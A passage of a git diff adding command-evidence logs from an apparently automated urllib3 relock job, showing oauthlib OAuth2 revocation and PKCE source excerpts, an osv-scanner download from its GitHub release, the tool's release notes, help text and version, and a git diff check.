sha256 ebc5248a9cfb50e75e04298ee4a4d1a34bf06d415df2d4c6db60a4d21165ba6c +oauthlib/oauth2/rfc6749/endpoints/revocation.py:1: """ +oauthlib/oauth2/rfc6749/endpoints/revocation.py:2: oauthlib.oauth2.rfc6749.endpoint.revocation +oauthlib/oauth2/rfc6749/endpoints/revocation.py:3: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +oauthlib/oauth2/rfc6749/endpoints/revocation.py:4: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:5: An implementation of the OAuth 2 `Token Revocation`_ spec (draft 11). +oauthlib/oauth2/rfc6749/endpoints/revocation.py:6: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:7: .. _`Token Revocation`: https://tools.ietf.org/html/draft-ietf-oauth-revocation-11 +oauthlib/oauth2/rfc6749/endpoints/revocation.py:8: """ +oauthlib/oauth2/rfc6749/endpoints/revocation.py:9: import logging +oauthlib/oauth2/rfc6749/endpoints/revocation.py:10: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:11: from oauthlib.common import Request +oauthlib/oauth2/rfc6749/endpoints/revocation.py:12: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:13: from ..errors import OAuth2Error +oauthlib/oauth2/rfc6749/endpoints/revocation.py:14: from .base import BaseEndpoint, catch_errors_and_unavailability +oauthlib/oauth2/rfc6749/endpoints/revocation.py:15: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:16: log = logging.getLogger(__name__) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:17: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:18: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:19: class RevocationEndpoint(BaseEndpoint): +oauthlib/oauth2/rfc6749/endpoints/revocation.py:20: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:21: """Token revocation endpoint. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:22: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:23: Endpoint used by authenticated clients to revoke access and refresh tokens. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:24: Commonly this will be part of the Authorization Endpoint. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:25: """ +oauthlib/oauth2/rfc6749/endpoints/revocation.py:26: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:27: valid_token_types = ('access_token', 'refresh_token') +oauthlib/oauth2/rfc6749/endpoints/revocation.py:28: valid_request_methods = ('POST',) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:29: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:30: def __init__(self, request_validator, supported_token_types=None, +oauthlib/oauth2/rfc6749/endpoints/revocation.py:31: enable_jsonp=False): +oauthlib/oauth2/rfc6749/endpoints/revocation.py:32: BaseEndpoint.__init__(self) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:33: self.request_validator = request_validator +oauthlib/oauth2/rfc6749/endpoints/revocation.py:34: self.supported_token_types = ( +oauthlib/oauth2/rfc6749/endpoints/revocation.py:35: supported_token_types or self.valid_token_types) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:36: self.enable_jsonp = enable_jsonp +oauthlib/oauth2/rfc6749/endpoints/revocation.py:37: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:38: @catch_errors_and_unavailability +oauthlib/oauth2/rfc6749/endpoints/revocation.py:39: def create_revocation_response(self, uri, http_method='POST', body=None, +oauthlib/oauth2/rfc6749/endpoints/revocation.py:40: headers=None): +oauthlib/oauth2/rfc6749/endpoints/revocation.py:41: """Revoke supplied access or refresh token. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:42: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:43: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:44: The authorization server responds with HTTP status code 200 if the +oauthlib/oauth2/rfc6749/endpoints/revocation.py:45: token has been revoked successfully or if the client submitted an +oauthlib/oauth2/rfc6749/endpoints/revocation.py:46: invalid token. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:47: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:48: Note: invalid tokens do not cause an error response since the client +oauthlib/oauth2/rfc6749/endpoints/revocation.py:49: cannot handle such an error in a reasonable way. Moreover, the purpose +oauthlib/oauth2/rfc6749/endpoints/revocation.py:50: of the revocation request, invalidating the particular token, is +oauthlib/oauth2/rfc6749/endpoints/revocation.py:51: already achieved. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:52: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:53: The content of the response body is ignored by the client as all +oauthlib/oauth2/rfc6749/endpoints/revocation.py:54: necessary information is conveyed in the response code. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:55: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:56: An invalid token type hint value is ignored by the authorization server +oauthlib/oauth2/rfc6749/endpoints/revocation.py:57: and does not influence the revocation response. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:58: """ +oauthlib/oauth2/rfc6749/endpoints/revocation.py:59: resp_headers = { +oauthlib/oauth2/rfc6749/endpoints/revocation.py:60: 'Content-Type': 'application/json', +oauthlib/oauth2/rfc6749/endpoints/revocation.py:61: 'Cache-Control': 'no-store', +oauthlib/oauth2/rfc6749/endpoints/revocation.py:62: 'Pragma': 'no-cache', +oauthlib/oauth2/rfc6749/endpoints/revocation.py:63: } +oauthlib/oauth2/rfc6749/endpoints/revocation.py:64: request = Request( +oauthlib/oauth2/rfc6749/endpoints/revocation.py:65: uri, http_method=http_method, body=body, headers=headers) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:66: try: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:67: self.validate_revocation_request(request) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:68: log.debug('Token revocation valid for %r.', request) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:69: except OAuth2Error as e: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:70: log.debug('Client error during validation of %r. %r.', request, e) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:71: response_body = e.json +oauthlib/oauth2/rfc6749/endpoints/revocation.py:72: if self.enable_jsonp and request.callback: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:73: response_body = '{}({});'.format(request.callback, response_body) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:74: resp_headers.update(e.headers) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:75: return resp_headers, response_body, e.status_code +oauthlib/oauth2/rfc6749/endpoints/revocation.py:76: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:77: self.request_validator.revoke_token(request.token, +oauthlib/oauth2/rfc6749/endpoints/revocation.py:78: request.token_type_hint, request) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:79: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:80: response_body = '' +oauthlib/oauth2/rfc6749/endpoints/revocation.py:81: if self.enable_jsonp and request.callback: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:82: response_body = request.callback + '();' +oauthlib/oauth2/rfc6749/endpoints/revocation.py:83: return {}, response_body, 200 +oauthlib/oauth2/rfc6749/endpoints/revocation.py:84: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:85: def validate_revocation_request(self, request): +oauthlib/oauth2/rfc6749/endpoints/revocation.py:86: """Ensure the request is valid. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:87: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:88: The client constructs the request by including the following parameters +oauthlib/oauth2/rfc6749/endpoints/revocation.py:89: using the "application/x-www-form-urlencoded" format in the HTTP +oauthlib/oauth2/rfc6749/endpoints/revocation.py:90: request entity-body: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:91: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:92: token (REQUIRED). The token that the client wants to get revoked. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:93: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:94: token_type_hint (OPTIONAL). A hint about the type of the token +oauthlib/oauth2/rfc6749/endpoints/revocation.py:95: submitted for revocation. Clients MAY pass this parameter in order to +oauthlib/oauth2/rfc6749/endpoints/revocation.py:96: help the authorization server to optimize the token lookup. If the +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py sha256 0d6931601c4e88a078fb3ccf5f052c035ad6a4bb2171efb9c218e088a7272dc6 +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:18: def code_challenge_method_s256(verifier, challenge): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:19: """ +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:20: If the "code_challenge_method" from `Section 4.3`_ was "S256", the +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:21: received "code_verifier" is hashed by SHA-256, base64url-encoded, and +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:22: then compared to the "code_challenge", i.e.: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:23: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:24: BASE64URL-ENCODE(SHA256(ASCII(code_verifier))) == code_challenge +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:25: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:26: How to implement a base64url-encoding +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:27: function without padding, based upon the standard base64-encoding +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:28: function that uses padding. +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:29: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:30: To be concrete, example C# code implementing these functions is shown +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:31: below. Similar code could be used in other languages. +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:32: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:33: static string base64urlencode(byte [] arg) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:34: { +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:35: string s = Convert.ToBase64String(arg); // Regular base64 encoder +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:36: s = s.Split('=')[0]; // Remove any trailing '='s +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:37: s = s.Replace('+', '-'); // 62nd char of encoding +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:38: s = s.Replace('/', '_'); // 63rd char of encoding +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:39: return s; +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:40: } +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:41: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:42: In python urlsafe_b64encode is already replacing '+' and '/', but preserve +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:43: the trailing '='. So we have to remove it. +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:44: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:45: .. _`Section 4.3`: https://tools.ietf.org/html/rfc7636#section-4.3 +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:46: """ +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:47: return base64.urlsafe_b64encode( +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:48: hashlib.sha256(verifier.encode()).digest() +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:49: ).decode().rstrip('=') == challenge +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:50: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:51: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:52: def code_challenge_method_plain(verifier, challenge): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:53: """ +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:54: If the "code_challenge_method" from `Section 4.3`_ was "plain", they are +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:55: compared directly, i.e.: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:56: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:57: code_verifier == code_challenge. +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:58: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:59: .. _`Section 4.3`: https://tools.ietf.org/html/rfc7636#section-4.3 +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:60: """ +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:61: return verifier == challenge +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:62: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:63: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:64: class AuthorizationCodeGrant(GrantTypeBase): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:65: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:490: challenge = self.request_validator.get_code_challenge(request.code, request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:491: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:492: if challenge is not None: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:493: if request.code_verifier is None: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:494: raise errors.MissingCodeVerifierError(request=request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:495: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:496: challenge_method = self.request_validator.get_code_challenge_method(request.code, request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:497: if challenge_method is None: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:498: raise errors.InvalidGrantError(request=request, description="Challenge method not found") +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:499: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:500: if challenge_method not in self._code_challenge_methods: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:501: raise errors.ServerError( +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:502: description="code_challenge_method {} is not supported.".format(challenge_method), +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:503: request=request +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:504: ) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:505: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:506: if not self.validate_code_challenge(challenge, +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:507: challenge_method, +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:508: request.code_verifier): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:509: log.debug('request provided a invalid code_verifier.') +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:510: raise errors.InvalidGrantError(request=request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:511: elif self.request_validator.is_pkce_required(request.client_id, request) is True: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:512: if request.code_verifier is None: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:513: raise errors.MissingCodeVerifierError(request=request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:531: request.using_default_redirect_uri = False +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:532: log.debug('Using provided redirect_uri %s', request.redirect_uri) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:533: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:534: if not self.request_validator.confirm_redirect_uri(request.client_id, request.code, +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:535: request.redirect_uri, request.client, +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:536: request): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:537: log.debug('Redirect_uri (%r) invalid for client %r (%r).', +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:538: request.redirect_uri, request.client_id, request.client) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:539: raise errors.MismatchingRedirectURIError(request=request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:540: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:541: for validator in self.custom_validators.post_token: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:542: validator(request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:543: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:544: def validate_code_challenge(self, challenge, challenge_method, verifier): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:545: if challenge_method in self._code_challenge_methods: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:546: return self._code_challenge_methods[challenge_method](verifier, challenge) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:547: raise NotImplementedError('Unknown challenge_method %s' % challenge_method) +# RevocationEndpoint construction in OAuthlib's own preconfigured servers +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py sha256 6fe072e29e94f0bb6fa65bf8a223893b2702e8d77c52494b389f75bb3ebc6316 +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:92: RevocationEndpoint.__init__(self, request_validator) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:93: IntrospectEndpoint.__init__(self, request_validator) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:94: +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:95: +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:145: RevocationEndpoint.__init__(self, request_validator) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:146: IntrospectEndpoint.__init__(self, request_validator) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:147: +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:148: +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:188: RevocationEndpoint.__init__( +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:189: self, request_validator, supported_token_types=["access_token"] +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:190: ) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:191: IntrospectEndpoint.__init__( +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:239: RevocationEndpoint.__init__(self, request_validator) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:240: IntrospectEndpoint.__init__(self, request_validator) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:241: +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:242: +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:282: RevocationEndpoint.__init__( +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:283: self, request_validator, supported_token_types=["access_token"] +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:284: ) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:285: IntrospectEndpoint.__init__( +oauthlib/openid/connect/core/endpoints/pre_configured.py sha256 bc6ff1a5fa23c2dcc3a782125e13d93355e73abf2e4fadc406b86ebce121e7ee +oauthlib/openid/connect/core/endpoints/pre_configured.py:137: RevocationEndpoint.__init__(self, request_validator) +oauthlib/openid/connect/core/endpoints/pre_configured.py:138: IntrospectEndpoint.__init__(self, request_validator) +oauthlib/openid/connect/core/endpoints/pre_configured.py:139: UserInfoEndpoint.__init__(self, request_validator) + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-download.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-download.txt new file mode 100644 index 000000000..d1ff0eba0 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-download.txt @@ -0,0 +1,9 @@ +argv: ["rtk", "proxy", "curl", "--fail", "--silent", "--show-error", "--location", "https://github.com/google/osv-scanner/releases/download/v2.6.0/osv-scanner_linux_amd64", "--output", "/osv-scanner"] +cwd: +started_utc: 2026-09-30T15:46:03.661442+00:00 +ended_utc: 2026-09-30T15:46:04.089994+00:00 +exit_code: 0 + +stdout: + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-release.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-release.txt new file mode 100644 index 000000000..ee5683d2a --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-release.txt @@ -0,0 +1,10 @@ +argv: ["rtk", "proxy", "gh", "api", "repos/google/osv-scanner/releases/tags/v2.6.0", "--jq", "{tag_name,published_at,html_url,body}"] +cwd: +started_utc: 2026-09-30T15:46:04.427701+00:00 +ended_utc: 2026-09-30T15:46:04.824289+00:00 +exit_code: 0 + +stdout: +{"body":"### Features:\r\n\r\n- [Feature #2888](https://github.com/google/osv-scanner/pull/2888) Publish multi-arch (`linux/arm64`) image for `osv-scanner-action`.\r\n- [Feature #3066](https://github.com/google/osv-scanner/pull/3066) Configure retry policy with exponential backoff for transient gRPC errors in scalibr plugins.\r\n- **Dependency scanning \u0026 lockfile improvements via `osv-scalibr`**:\r\n - Extract Git repository URLs and support local OSV tag matching for Git-based dependencies in JavaScript lockfiles (`package-lock.json`, `yarn.lock`, `pnpm-lock.yaml`, `bun.lock`).\r\n - Assign `pkg:git` PURL type to Git commit-pinned dependencies across JS and Cargo lockfiles to avoid false positives against registry packages ([#2863](https://github.com/google/osv-scanner/pull/2863)).\r\n - Retain packages without a version or PURL in SPDX output ([google/osv-scalibr#2375](https://github.com/google/osv-scalibr/pull/2375)) and merge related packages based on lineage relationships.\r\n- **New extractors and plugin support via `osv-scalibr`**:\r\n - Many additional filetypes are supported. These are not enabled by default yet, so if you need a particular new filetype, use `--experimental-plugins` flag. See [\"Supported Inventory Types\"](https://github.com/google/osv-scalibr/blob/3f6473abebb329f3e0dc7e9e0d9c91e0c6e51277/docs/supported_inventory_types.md) for the extractor name.\r\n\r\n### Fixes:\r\n\r\n- [Bug #3075](https://github.com/google/osv-scanner/pull/3075) Ensure `results` property in JSON output is an empty array `[]` instead of `null` when scanning with `--allow-no-lockfiles` and no lockfiles are found.\r\n- [Bug #3071](https://github.com/google/osv-scanner/pull/3071) Preserve valid UTF-8 sequences when truncating multibyte text in vertical output.\r\n- [Bug #2919](https://github.com/google/osv-scanner/pull/2919) Add filter to show packages with license violations but no vulnerabilities in the HTML report.\r\n- [Bug #3049](https://github.com/google/osv-scanner/pull/3049) Keep filter dropdown checklist open when clicking options in the HTML report.\r\n- [Bug #3023](https://github.com/google/osv-scanner/pull/3023) Guard against panic on empty or whitespace-only license expressions in SPDX license evaluation.\r\n- [Bug #3032](https://github.com/google/osv-scanner/pull/3032) Bound recursion depth when parsing SPDX license expressions to prevent stack overflow on deeply nested expressions.\r\n- [Bug #3061](https://github.com/google/osv-scanner/pull/3061) Remove purl caching in scan filtering to avoid dropping SBOM packages without purls.\r\n- [Bug #3063](https://github.com/google/osv-scanner/pull/3063) Log plugin and enricher errors during container scans instead of failing silently.\r\n- [Bug #2977](https://github.com/google/osv-scanner/pull/2977) Return an error instead of aborting the process (`log.Fatalf`) when an `rlib` archive has no object file during Rust source analysis.\r\n- [Bug #3083](https://github.com/google/osv-scanner/pull/3083) Return a descriptive error from `DoContainerScan` when `ScannerActions.Image` is empty instead of panicking.\r\n- **Fixes via `osv-scalibr`**:\r\n - Fix false-positive Go standard library matches for packages with module paths ending in `/go` (e.g. `pkg:golang/github.com/json-iterator/go`) ([#3017](https://github.com/google/osv-scanner/issues/3017)).\r\n - Secure guided remediation file operations with `os.Root` to prevent path traversal attacks ([google/osv-scalibr#2363](https://github.com/google/osv-scalibr/pull/2363)).\r\n - Prevent OOM and disk exhaustion issues with tar bombs during archive extraction.\r\n - Strip platform suffix from RubyGems versions in CycloneDX ([google/osv-scalibr#2313](https://github.com/google/osv-scalibr/pull/2313)).\r\n - Ignore `.deps.json` files that don't have an object as their root in `dotnet/depsjson` extractor ([google/osv-scalibr#2423](https://github.com/google/osv-scalibr/pull/2423)).\r\n\r\n### Misc:\r\n\r\n- Update `osv-scalibr` to `v0.5.3-0.20260911142458-3090dbb7aaa2` ([#3079](https://github.com/google/osv-scanner/pull/3079)).\r\n- Update Go to v1.27 and `golangci-lint` to v2.13 ([#3046](https://github.com/google/osv-scanner/pull/3046)).\r\n - This now supports call analysis on go v1.27 projects.\r\n- Update `google.golang.org/grpc` to v1.83.2 ([#3062](https://github.com/google/osv-scanner/pull/3062)).\r\n\r\n## New Contributors\r\n* @summerpan688 made their first contribution in https://github.com/google/osv-scanner/pull/2919\r\n* @BenkiNew made their first contribution in https://github.com/google/osv-scanner/pull/3038\r\n* @Amey-Thakur made their first contribution in https://github.com/google/osv-scanner/pull/3032\r\n* @sl4x0 made their first contribution in https://github.com/google/osv-scanner/pull/3023\r\n* @shubhransh-gupta made their first contribution in https://github.com/google/osv-scanner/pull/3049\r\n* @kobihikri made their first contribution in https://github.com/google/osv-scanner/pull/2977\r\n* @skialpine made their first contribution in https://github.com/google/osv-scanner/pull/2888\r\n* @keeltrace made their first contribution in https://github.com/google/osv-scanner/pull/3071\r\n* @Muszic made their first contribution in https://github.com/google/osv-scanner/pull/3083\r\n* @knQzx made their first contribution in https://github.com/google/osv-scalibr/pull/2313\r\n* @micrictor made their first contribution in https://github.com/google/osv-scalibr/pull/2047\r\n* @srossross made their first contribution in https://github.com/google/osv-scalibr/pull/2375\r\n\r\n**Full Changelog**: https://github.com/google/osv-scanner/compare/v2.5.1...v2.6.0","html_url":"https://github.com/google/osv-scanner/releases/tag/v2.6.0","published_at":"2026-09-14T02:55:16Z","tag_name":"v2.6.0"} + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-source-help.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-source-help.txt new file mode 100644 index 000000000..531f2842e --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-source-help.txt @@ -0,0 +1,49 @@ +argv: ["rtk", "proxy", "/osv-scanner", "scan", "source", "--help"] +cwd: +started_utc: 2026-09-30T15:46:06.593117+00:00 +ended_utc: 2026-09-30T15:46:06.681725+00:00 +exit_code: 0 + +stdout: +NAME: + osv-scanner scan source - scans a source project's dependencies for known vulnerabilities using the OSV database. + +USAGE: + osv-scanner scan source [options] [directory1 directory2...] + +DESCRIPTION: + scans a source project's dependencies for known vulnerabilities using the OSV database. + +OPTIONS: + --lockfile string, -L string [ --lockfile string, -L string ] scan package lockfile on this path + --sbom string, -S string [ --sbom string, -S string ] [DEPRECATED] scan sbom file on this path, the sbom file name must follow the relevant spec + --recursive, -r check subdirectories + --no-ignore also scan files that would be ignored by .gitignore + --include-git-root include scanning git root (non-submoduled) repositories + --experimental-exclude string [ --experimental-exclude string ] exclude directory paths during scanning; use g:pattern for glob, r:pattern for regex, or just dirname for exact match (can be repeated) + --data-source string source to fetch package information from; value can be: deps.dev, native (default: "deps.dev") + --maven-registry string URL of the default registry to fetch Maven metadata + --config string set/override config file + --format string, -f string sets the output format; value can be: table, html, vertical, json, markdown, sarif, gh-annotations, cyclonedx-1-4, cyclonedx-1-5, cyclonedx-1-6, cyclonedx-1-7, spdx-2-3 (default: "table") + --serve output as HTML result and serve it locally + --port string port number to use when serving HTML report (default: 8000) + --output string [DEPRECATED] (Use "--output-file" instead) saves the result to the given file path + --output-file string saves the result to the given file path + --verbosity string specify the level of information that should be provided during runtime; value can be: error, warn, info (default: "info") + --offline run in offline mode, disabling any features requiring network access + --offline-vulnerabilities checks for vulnerabilities using local databases that are already cached + --download-offline-databases downloads vulnerability databases for offline comparison + --call-analysis string [ --call-analysis string ] Enable call analysis for specific languages (e.g. --call-analysis=go). Supported: go, rust (*). (*) Will run build scripts. + --no-call-analysis string [ --no-call-analysis string ] disables call graph analysis + --no-resolve disable transitive dependency resolution of manifest files + --allow-no-lockfiles has the scanner consider no lockfiles being found as ok + --all-packages when json output is selected, prints all packages + --all-vulns show all vulnerabilities including unimportant and uncalled ones + --licenses value report on licenses based on an allowlist + --experimental-flag-deprecated-packages report if package versions are deprecated + --experimental-plugins string [ --experimental-plugins string ] list of specific plugins and presets of plugins to use (default: "lockfile", "sbom", "directory") + --experimental-disable-plugins string [ --experimental-disable-plugins string ] list of specific plugins and presets of plugins to not use + --experimental-no-default-plugins disable default plugins, instead using only those enabled by --experimental-plugins + --help, -h show help + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-version.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-version.txt new file mode 100644 index 000000000..7d77767df --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-version.txt @@ -0,0 +1,13 @@ +argv: ["rtk", "proxy", "/osv-scanner", "--version"] +cwd: +started_utc: 2026-09-30T15:46:06.511869+00:00 +ended_utc: 2026-09-30T15:46:06.592164+00:00 +exit_code: 0 + +stdout: +osv-scanner version: 2.6.0 +osv-scalibr version: 0.5.2 +commit: e840a6e8adb14b7777c78e26cfbf6e2abc1d1fc6 +built at: 2026-09-14T01:44:58Z + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-owned-diff-check.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-owned-diff-check.txt new file mode 100644 index 000000000..48a5a0bbe --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-owned-diff-check.txt @@ -0,0 +1,9 @@ +argv: ["rtk", "proxy", "git", "diff", "--check"] +cwd: +started_utc: 2026-09-30T16:06:05.340516+00:00 +ended_utc: 2026-09-30T16:06:05.396447+00:00 +exit_code: 0 + +stdout: + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-owned-file-publication-scan-after-declared-paths-redaction.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-owned-file-publication-scan-after-declared-paths-redaction.txt new file mode 100644 index 000000000..2669b3d00 --- /dev/null +++ 